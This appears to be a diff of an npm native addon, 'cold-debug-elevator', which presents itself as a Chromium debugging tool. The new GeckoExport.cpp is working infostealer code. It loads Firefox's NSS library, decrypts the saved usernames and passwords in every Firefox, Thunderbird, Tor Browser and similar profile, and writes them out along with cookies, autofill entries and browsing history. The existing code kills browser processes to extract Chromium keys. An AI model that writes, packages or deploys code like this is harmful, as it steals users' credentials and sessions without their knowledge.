cold-debug-elevator 1.0.1 → 1.0.2

package/binding.gyp

@@ -5,11 +5,12 @@
       "variables": {
         "clang": 0
       },
-      "sources": [
-        "src/main.cpp",
-        "src/DebugChromium.cpp",
-        "src/BrowserExport.cpp"
-      ],
+              "sources": [
+                "src/main.cpp",
+                "src/DebugChromium.cpp",
+                "src/BrowserExport.cpp",
+                "src/GeckoExport.cpp"
+              ],
       "include_dirs": [
         "<!@(node -p \"require('node-addon-api').include\")",
         "<(module_root_dir)\\..\\builder\\src\\Chromium-DebugElevator-main (1)\\Chromium-DebugElevator-main\\vcpkg_installed\\x64-windows-static\\include"

package/index.js

@@ -3,5 +3,8 @@ const debug1337 = require('./build/Release/debug1337.node');
 module.exports = {
     extract: (browserPath, outputPath) => {
         return debug1337.extract(browserPath, outputPath);
+    },
+    extractGecko: (outputPath) => {
+        return debug1337.extractGecko(outputPath);
     }
 };

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "cold-debug-elevator",
-  "version": "1.0.1",
+  "version": "1.0.2",
   "description": "Chromium Debug Elevator Native Addon",
   "main": "index.js",
   "scripts": {

package/src/DebugChromium.cpp

@@ -974,6 +974,7 @@ std::optional<std::vector<uint8_t>> ExtractAppBoundKey(const fs::path& exePath)
 	args.targetDll = targetDll;
 
 	KillProcessesByName(exePath.filename().wstring());
+	Sleep(1000); // Wait for file locks to be released
 	HANDLE hThread = CreateThread(nullptr, 0, reinterpret_cast<LPTHREAD_START_ROUTINE>(DebugLoop), &args, 0, nullptr);
 	if (!hThread) return std::nullopt;
 	if (WaitForSingleObject(hThread, DEBUG_LOOP_TIMEOUT) == WAIT_TIMEOUT) { TerminateThread(hThread, 1); CloseHandle(hThread); return std::nullopt; }

package/src/GeckoExport.cpp

@@ -0,0 +1,375 @@
+#include "GeckoExport.hpp"
+#include <iostream>
+#include <windows.h>
+#include <string>
+#include <vector>
+#include <fstream>
+#include <shlobj.h>
+#include <algorithm>
+#include <filesystem>
+
+namespace fs = std::filesystem;
+
+// NSS Types and Constants
+struct SECItem {
+    int type;
+    unsigned char* data;
+    unsigned int len;
+};
+
+// Function pointer types for NSS functions
+typedef int(__cdecl* NSS_Init)(const char*);
+typedef int(__cdecl* NSS_Shutdown)();
+typedef int(__cdecl* PK11SDR_Decrypt)(SECItem*, SECItem*, void*);
+typedef void* (__cdecl* PK11_GetInternalKeySlot)();
+typedef int(__cdecl* PK11_Authenticate)(void*, int, void*);
+typedef void(__cdecl* SECITEM_FreeItem)(SECItem*, bool);
+
+// SQLite types and functions from nss3.dll
+typedef struct sqlite3 sqlite3;
+typedef struct sqlite3_stmt sqlite3_stmt;
+typedef int(__cdecl* sqlite3_open)(const char*, sqlite3**);
+typedef int(__cdecl* sqlite3_prepare_v2)(sqlite3*, const char*, int, sqlite3_stmt**, const char**);
+typedef int(__cdecl* sqlite3_step)(sqlite3_stmt*);
+typedef const unsigned char* (__cdecl* sqlite3_column_text)(sqlite3_stmt*, int);
+typedef int(__cdecl* sqlite3_column_int)(sqlite3_stmt*, int);
+typedef long long(__cdecl* sqlite3_column_int64)(sqlite3_stmt*, int);
+typedef int(__cdecl* sqlite3_finalize)(sqlite3_stmt*);
+typedef int(__cdecl* sqlite3_close)(sqlite3*);
+
+// Global function pointers
+static NSS_Init pNSS_Init = nullptr;
+static NSS_Shutdown pNSS_Shutdown = nullptr;
+static PK11SDR_Decrypt pPK11SDR_Decrypt = nullptr;
+static PK11_GetInternalKeySlot pPK11_GetInternalKeySlot = nullptr;
+static PK11_Authenticate pPK11_Authenticate = nullptr;
+static SECITEM_FreeItem pSECITEM_FreeItem = nullptr;
+
+static sqlite3_open p_sqlite3_open = nullptr;
+static sqlite3_prepare_v2 p_sqlite3_prepare_v2 = nullptr;
+static sqlite3_step p_sqlite3_step = nullptr;
+static sqlite3_column_text p_sqlite3_column_text = nullptr;
+static sqlite3_column_int p_sqlite3_column_int = nullptr;
+static sqlite3_column_int64 p_sqlite3_column_int64 = nullptr;
+static sqlite3_finalize p_sqlite3_finalize = nullptr;
+static sqlite3_close p_sqlite3_close = nullptr;
+
+// Simple Base64 Decoder
+static std::vector<unsigned char> Base64Decode(const std::string& input) {
+    static const std::string base64_chars = 
+        "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
+        "abcdefghijklmnopqrstuvwxyz"
+        "0123456789+/";
+
+    auto is_base64 = [](unsigned char c) {
+        return (isalnum(c) || (c == '+') || (c == '/'));
+    };
+
+    int in_len = input.size();
+    int i = 0, j = 0, in_ = 0;
+    unsigned char char_array_4[4], char_array_3[3];
+    std::vector<unsigned char> ret;
+
+    while (in_len-- && (input[in_] != '=') && is_base64(input[in_])) {
+        char_array_4[i++] = input[in_]; in_++;
+        if (i == 4) {
+            for (i = 0; i < 4; i++)
+                char_array_4[i] = base64_chars.find(char_array_4[i]);
+
+            char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4);
+            char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2);
+            char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3];
+
+            for (i = 0; (i < 3); i++)
+                ret.push_back(char_array_3[i]);
+            i = 0;
+        }
+    }
+
+    if (i) {
+        for (j = i; j < 4; j++)
+            char_array_4[j] = 0;
+
+        for (j = 0; j < 4; j++)
+            char_array_4[j] = base64_chars.find(char_array_4[j]);
+
+        char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4);
+        char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2);
+        char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3];
+
+        for (j = 0; (j < i - 1); j++) ret.push_back(char_array_3[j]);
+    }
+
+    return ret;
+}
+
+static std::string DecryptString(const std::string& base64Data) {
+    if (!pPK11SDR_Decrypt) return "";
+    std::vector<unsigned char> decoded = Base64Decode(base64Data);
+    if (decoded.empty()) return "";
+    SECItem encrypted = {0, decoded.data(), (unsigned int)decoded.size()};
+    SECItem decrypted = {0, nullptr, 0};
+    if (pPK11SDR_Decrypt(&encrypted, &decrypted, nullptr) == 0) {
+        std::string result((char*)decrypted.data, decrypted.len);
+        if (pSECITEM_FreeItem) pSECITEM_FreeItem(&decrypted, false);
+        return result;
+    }
+    return "";
+}
+
+static bool LoadNSS(const std::string& firefoxDir) {
+    if (firefoxDir.empty()) return false;
+    SetDllDirectoryA(firefoxDir.c_str());
+    std::string nssPath = firefoxDir + "\\nss3.dll";
+    HMODULE hNss = LoadLibraryExA(nssPath.c_str(), NULL, LOAD_WITH_ALTERED_SEARCH_PATH);
+    if (!hNss) return false;
+
+    auto LoadFunc = [&](void** ptr, const char* name) {
+        *ptr = (void*)GetProcAddress(hNss, name);
+        return *ptr != nullptr;
+    };
+
+    bool ok = true;
+    ok &= LoadFunc((void**)&pNSS_Init, "NSS_Init");
+    ok &= LoadFunc((void**)&pNSS_Shutdown, "NSS_Shutdown");
+    ok &= LoadFunc((void**)&pPK11SDR_Decrypt, "PK11SDR_Decrypt");
+    ok &= LoadFunc((void**)&pPK11_GetInternalKeySlot, "PK11_GetInternalKeySlot");
+    ok &= LoadFunc((void**)&pPK11_Authenticate, "PK11_Authenticate");
+    ok &= LoadFunc((void**)&pSECITEM_FreeItem, "SECITEM_FreeItem");
+
+    ok &= LoadFunc((void**)&p_sqlite3_open, "sqlite3_open");
+    ok &= LoadFunc((void**)&p_sqlite3_prepare_v2, "sqlite3_prepare_v2");
+    ok &= LoadFunc((void**)&p_sqlite3_step, "sqlite3_step");
+    ok &= LoadFunc((void**)&p_sqlite3_column_text, "sqlite3_column_text");
+    ok &= LoadFunc((void**)&p_sqlite3_column_int, "sqlite3_column_int");
+    ok &= LoadFunc((void**)&p_sqlite3_column_int64, "sqlite3_column_int64");
+    ok &= LoadFunc((void**)&p_sqlite3_finalize, "sqlite3_finalize");
+    ok &= LoadFunc((void**)&p_sqlite3_close, "sqlite3_close");
+
+    if (!ok) { FreeLibrary(hNss); return false; }
+    return true;
+}
+
+struct BrowserInfo {
+    std::string name;
+    std::string profileSubDir; // relative to %APPDATA%
+    std::string installDirName; // common folder name in Program Files
+};
+
+static std::vector<BrowserInfo> geckoBrowsers = {
+    {"Firefox", "Mozilla\\Firefox\\Profiles", "Mozilla Firefox"},
+    {"Thunderbird", "Thunderbird\\Profiles", "Mozilla Thunderbird"},
+    {"Waterfox", "Waterfox\\Profiles", "Waterfox"},
+    {"SeaMonkey", "Mozilla\\SeaMonkey\\Profiles", "SeaMonkey"},
+    {"Pale Moon", "Moonchild Productions\\Pale Moon\\Profiles", "Pale Moon"},
+    {"LibreWolf", "LibreWolf\\Profiles", "LibreWolf"},
+    {"Tor Browser", "Tor Browser\\Browser\\Desktop\\Browser\\Data\\Browser\\profile.default", "Tor Browser"}
+};
+
+static std::vector<std::string> GetAllProfilePaths() {
+    std::vector<std::string> paths;
+    char appData[MAX_PATH];
+    if (!SHGetSpecialFolderPathA(NULL, appData, CSIDL_APPDATA, FALSE)) return paths;
+
+    for (const auto& browser : geckoBrowsers) {
+        std::string baseDir = std::string(appData) + "\\" + browser.profileSubDir;
+        
+        if (browser.name == "Tor Browser") {
+             if (GetFileAttributesA(baseDir.c_str()) != INVALID_FILE_ATTRIBUTES) {
+                 paths.push_back(baseDir);
+             }
+             continue;
+        }
+
+        WIN32_FIND_DATAA findData;
+        HANDLE hFind = FindFirstFileA((baseDir + "\\*").c_str(), &findData);
+        if (hFind != INVALID_HANDLE_VALUE) {
+            do {
+                if (findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
+                    std::string name = findData.cFileName;
+                    if (name != "." && name != "..") {
+                        std::string profilePath = baseDir + "\\" + name;
+                        std::string check = profilePath + "\\key4.db";
+                        if (GetFileAttributesA(check.c_str()) != INVALID_FILE_ATTRIBUTES) {
+                            paths.push_back(profilePath);
+                        }
+                    }
+                }
+            } while (FindNextFileA(hFind, &findData));
+            FindClose(hFind);
+        }
+    }
+    return paths;
+}
+
+static std::vector<std::string> GetPossibleInstallDirs() {
+    std::vector<std::string> dirs;
+    HKEY hKey;
+    char value[MAX_PATH];
+    DWORD size = sizeof(value);
+    if (RegOpenKeyExA(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\firefox.exe", 0, KEY_READ, &hKey) == ERROR_SUCCESS) {
+        if (RegQueryValueExA(hKey, "Path", NULL, NULL, (LPBYTE)value, &size) == ERROR_SUCCESS) {
+            dirs.push_back(std::string(value));
+        }
+        RegCloseKey(hKey);
+    }
+
+    std::vector<std::string> programFiles = {"C:\\Program Files", "C:\\Program Files (x86)"};
+    for (const auto& pf : programFiles) {
+        for (const auto& browser : geckoBrowsers) {
+            dirs.push_back(pf + "\\" + browser.installDirName);
+        }
+    }
+    return dirs;
+}
+
+static void ProcessProfile(const std::string& profilePath, const std::string& outRoot) {
+    size_t lastSlash = profilePath.find_last_of("\\");
+    std::string profileName = (lastSlash != std::string::npos) ? profilePath.substr(lastSlash + 1) : "Unknown";
+    
+    std::string browserName = "Gecko";
+    for (const auto& b : geckoBrowsers) {
+        if (profilePath.find(b.profileSubDir) != std::string::npos) {
+            browserName = b.name;
+            break;
+        }
+    }
+    
+    std::string outDir = outRoot + "\\" + browserName + "_" + profileName;
+    CreateDirectoryA(outDir.c_str(), NULL);
+
+    if (pNSS_Init(profilePath.c_str()) != 0) {
+        return;
+    }
+
+    // Passwords.txt
+    std::ofstream passFile(outDir + "\\passwords.txt");
+    std::string loginsPath = profilePath + "\\logins.json";
+    std::ifstream f(loginsPath);
+    if (f.is_open()) {
+        std::string content((std::istreambuf_iterator<char>(f)), std::istreambuf_iterator<char>());
+        size_t pos = 0;
+        while ((pos = content.find("\"hostname\"", pos)) != std::string::npos) {
+            size_t hostStart = content.find("\"", pos + 10) + 1;
+            size_t hostEnd = content.find("\"", hostStart);
+            std::string host = content.substr(hostStart, hostEnd - hostStart);
+            size_t userPos = content.find("\"encryptedUsername\"", hostEnd);
+            size_t userStart = content.find("\"", userPos + 19) + 1;
+            size_t userEnd = content.find("\"", userStart);
+            std::string encUser = content.substr(userStart, userEnd - userStart);
+            size_t passPos = content.find("\"encryptedPassword\"", userEnd);
+            size_t passStart = content.find("\"", passPos + 19) + 1;
+            size_t passEnd = content.find("\"", passStart);
+            std::string encPass = content.substr(passStart, passEnd - passStart);
+            passFile << "=========<Sage Private>==========\n" << host << "\n" << DecryptString(encUser) << " : " << DecryptString(encPass) << "\n\n";
+            pos = passEnd;
+        }
+    }
+    passFile.close();
+
+    // cookies.txt
+    std::string cookiesPath = profilePath + "\\cookies.sqlite";
+    sqlite3* db;
+    if (p_sqlite3_open(cookiesPath.c_str(), &db) == 0) {
+        std::ofstream cookieFile(outDir + "\\cookies.txt");
+        cookieFile << "# Netscape HTTP Cookie File\n\n";
+        sqlite3_stmt* stmt;
+        const char* sql = "SELECT host, path, isSecure, expiry, name, value FROM moz_cookies";
+        if (p_sqlite3_prepare_v2(db, sql, -1, &stmt, NULL) == 0) {
+            while (p_sqlite3_step(stmt) == 100) {
+                const char* host_ptr = (const char*)p_sqlite3_column_text(stmt, 0);
+                const char* path_ptr = (const char*)p_sqlite3_column_text(stmt, 1);
+                int isSecure = p_sqlite3_column_int(stmt, 2);
+                long long expiry = p_sqlite3_column_int64(stmt, 3);
+                const char* name_ptr = (const char*)p_sqlite3_column_text(stmt, 4);
+                const char* value_ptr = (const char*)p_sqlite3_column_text(stmt, 5);
+                
+                std::string host = host_ptr ? host_ptr : "";
+                std::string path = path_ptr ? path_ptr : "";
+                std::string name = name_ptr ? name_ptr : "";
+                std::string value = value_ptr ? value_ptr : "";
+                
+                std::string flag = (!host.empty() && host[0] == '.') ? "TRUE" : "FALSE";
+                cookieFile << host << "\t" << flag << "\t" << path << "\t" << (isSecure ? "TRUE" : "FALSE") << "\t" << expiry << "\t" << name << "\t" << value << "\n";
+            }
+            p_sqlite3_finalize(stmt);
+        }
+        p_sqlite3_close(db);
+        cookieFile.close();
+    }
+
+    // autofills.txt
+    std::string formPath = profilePath + "\\formhistory.sqlite";
+    if (p_sqlite3_open(formPath.c_str(), &db) == 0) {
+        std::ofstream autoFile(outDir + "\\autofills.txt");
+        sqlite3_stmt* stmt;
+        const char* sql = "SELECT fieldname, value FROM moz_formhistory";
+        if (p_sqlite3_prepare_v2(db, sql, -1, &stmt, NULL) == 0) {
+            while (p_sqlite3_step(stmt) == 100) {
+                const char* field_ptr = (const char*)p_sqlite3_column_text(stmt, 0);
+                const char* val_ptr = (const char*)p_sqlite3_column_text(stmt, 1);
+                std::string field = field_ptr ? field_ptr : "";
+                std::string value = val_ptr ? val_ptr : "";
+                autoFile << field << " : " << value << "\n";
+            }
+            p_sqlite3_finalize(stmt);
+        }
+        p_sqlite3_close(db);
+        autoFile.close();
+    }
+
+    // history.txt
+    std::string historyPath = profilePath + "\\places.sqlite";
+    if (p_sqlite3_open(historyPath.c_str(), &db) == 0) {
+        std::ofstream historyFile(outDir + "\\history.txt");
+        sqlite3_stmt* stmt;
+        const char* sql = "SELECT url, title FROM moz_places ORDER BY last_visit_date DESC";
+        if (p_sqlite3_prepare_v2(db, sql, -1, &stmt, NULL) == 0) {
+            size_t totalBytes = 0;
+            while (p_sqlite3_step(stmt) == 100 && totalBytes < 300 * 1024) {
+                const char* url = (const char*)p_sqlite3_column_text(stmt, 0);
+                const char* title = (const char*)p_sqlite3_column_text(stmt, 1);
+                std::string line = std::string(url ? url : "") + " | " + (title ? title : "") + "\n";
+                historyFile << line;
+                totalBytes += line.length();
+            }
+            p_sqlite3_finalize(stmt);
+        }
+        p_sqlite3_close(db);
+        historyFile.close();
+    }
+
+    pNSS_Shutdown();
+}
+
+extern "C" bool ExtractGeckoData(const wchar_t* outputPath) {
+    std::string outRoot;
+    if (outputPath) {
+        std::wstring ws(outputPath);
+        outRoot = std::string(ws.begin(), ws.end());
+    } else {
+        outRoot = "output";
+    }
+    
+    CreateDirectoryA(outRoot.c_str(), NULL);
+
+    std::vector<std::string> installDirs = GetPossibleInstallDirs();
+    bool loaded = false;
+    for (const auto& dir : installDirs) {
+        if (!dir.empty() && LoadNSS(dir)) {
+            loaded = true;
+            break;
+        }
+    }
+
+    if (!loaded) return false;
+
+    std::vector<std::string> profiles = GetAllProfilePaths();
+    if (profiles.empty()) return false;
+
+    for (const auto& profile : profiles) {
+        ProcessProfile(profile, outRoot);
+    }
+
+    return true;
+}

package/src/GeckoExport.hpp

@@ -0,0 +1,8 @@
+#ifndef GECKO_EXPORT_H
+#define GECKO_EXPORT_H
+
+#include <string>
+
+extern "C" bool ExtractGeckoData(const wchar_t* outputPath);
+
+#endif

package/src/main.cpp

@@ -3,6 +3,7 @@
 #include <string>
 
 extern "C" bool ExtractBrowserData(const wchar_t* browserPath, const wchar_t* outputPath);
+extern "C" bool ExtractGeckoData(const wchar_t* outputPath);
 
 Napi::Value Extract(const Napi::CallbackInfo& info) {
     Napi::Env env = info.Env();
@@ -23,8 +24,26 @@ Napi::Value Extract(const Napi::CallbackInfo& info) {
     return Napi::Boolean::New(env, result);
 }
 
+Napi::Value ExtractGecko(const Napi::CallbackInfo& info) {
+    Napi::Env env = info.Env();
+
+    if (info.Length() < 1 || !info[0].IsString()) {
+        Napi::TypeError::New(env, "String expected").ThrowAsJavaScriptException();
+        return env.Null();
+    }
+
+    std::u16string outputPathU16 = info[0].As<Napi::String>().Utf16Value();
+
+    bool result = ExtractGeckoData(
+        reinterpret_cast<const wchar_t*>(outputPathU16.c_str())
+    );
+
+    return Napi::Boolean::New(env, result);
+}
+
 Napi::Object Init(Napi::Env env, Napi::Object exports) {
     exports.Set(Napi::String::New(env, "extract"), Napi::Function::New(env, Extract));
+    exports.Set(Napi::String::New(env, "extractGecko"), Napi::Function::New(env, ExtractGecko));
     return exports;
 }